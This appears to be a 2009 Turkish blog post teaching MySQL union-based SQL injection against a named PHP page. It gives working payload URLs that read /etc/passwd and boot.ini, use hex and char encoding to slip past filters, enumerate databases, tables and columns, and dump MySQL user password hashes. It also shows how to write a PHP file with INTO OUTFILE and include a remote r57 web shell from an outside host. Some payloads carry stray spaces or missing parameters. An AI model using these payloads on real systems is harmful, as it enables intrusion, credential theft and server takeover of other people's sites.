Mysql İnjection:
önce kolon sayısını öğrenelim
cekeronline.php?id=-1+order+by+xxx--
xx yerine 1,2,10 v.s sayı yazarak kolon öğreniyoruz
kolon sayımız 3 olsun
cekeronline.php?id=-1+union+select+0,1,2--
bu şekle dönüştü.
kolonu sayısını bulduk
eğer kolonlar görünmüyosa id'yi -1 99999 -99999
v.s yani kullanılmayan id lerden bitane seçersek sonuç verçektir.
kolon sayılarını eşitledik.
şimdi Load_file ile dosya okuyalım.
eğer makina linux ise
cekeronline.php?id=-1+union+select+0,1,
load_file(/etc/passwd)--
engel varsa hexleriz veya char kullanırız.
cekeronline.php?=9999999 union select 0,1,
unhex(hex(/etc/passwd)—
cekeronline.php?=9999999 union select 0,1,
char(47,101,116,99,47,112,97,115,115,119,100)—
char da benzer şekilde mantık ' vs engelli
karekterleri kullanmama yerine char hex v.s kullanma.
bu şekilde /etc/passwd okuyoruz.
eğer windovs ise
boot.ini‘yi okuyabiliriz
cekeronline.php?id=-1+union+select+0,1,
load_file(c:/boot.ini)--
cekeronline.php?id=-1+union+select+0,1,load_file
(0×633a2f626f6f742e696 e69)--
işte bu şekilde okuyorus burda config felan okuyabilirsiniz
veya ilerde göreceğimiz dosya uzantısı bulup rfi yiyen dosya
upload edebiliriz v.s geliştirmek size kalmış.
mysql Version'u bulalım.versiyon 4'lerde
tablo kolon tahmin edebilirsiniz.aynen acces gibi.
version 5'lerde tablo kolon çekebilirsiniz.
cekeronline.php?id=-9999+union+select+0,1,@@version--
duruma göre hexleyin veya char felan işte..
versiyon 5 varsayalım .information_schema
tablo kolon çekelim.
önce dbleri çekelim
cekeronlinephp?id=-9999+union+select+0,1,schema_name
+from+information .schemata+limit1,1--
limit 1,1 limit 2.1 v.s yaparak diğer veritablarını alırız.
cekeronline.php?id=-9999+union+select+0,1,
group_concat(schema_name)+fr om+information.schemata--
Group ile hepsini alırıs.
şimdi tablo adlarını alalım.
cekeronline.php?id=--9999+union+select+0,1,table_name
+from+INFORMATION_ SCHEMA.TABLES+where+
table_schema=’dbadi’+limit 1,1--
limit 1,1 limit 2.1 v.s yaparak diğer tabloları alırız. .
cekeronline.php?id=--9999+union+select+0,1,
group_concat(table_name)+fro m+I
NFORMATION_SCHEMA.TABLES+where+
table_schema=’db adi’--
Group ile hepsini alırıs.
kolon adlarınıda alalım.
cekeronline.php?id=-9999+union+select+0,1,
COLUMN_NAME+from+INFORMATION _SCHEMA.
COLUMNS+where+table_name=
'tabloadi'+limit+ 1,1--
limit 1,1 limit 2.1 v.s yaparak diğer columnları alırız.
cekeronline.php?id=-9999+union+select+0,1,
group_concat(COLUMN_NAME)+fr om+I
NFORMATION_SCHEMA.COLUMNS
+where+table_name='ta bloadi'--
Group ile hepsini alırıs.
mysql kullanıcı adi ve şifre alalım.
cekeronline.php?id=-9999+union+select+
user,password+from+mysql.user--
burdan mysql bağlanabilirsiniz..
into outfile ile rfi açalım.
into outfile ile rfi(Remote File İnclusion) açığı oluşturabiliriz.
tabi önce sitein dosya yolunu bulcaz.Onu load_file kullanarak bulabilirsiniz.
bulduk diyelim.
home/nesa/public_html/
yazılabilir bi yere uygulayalım.
cekeronline.php?id=-9999+union+select+
''+into+outfile+'/home/nesa/public_html
/images/nesa.php'--
cekeronline.com olsun mesela
cekeronline.com/images/nesa.php?nesa=
http://cekeronline.by.ru/r57.txt?
3 Ağustos 2009 Pazartesi
Kaydol:
Kayıt Yorumları (Atom)
Hiç yorum yok:
Yorum Gönder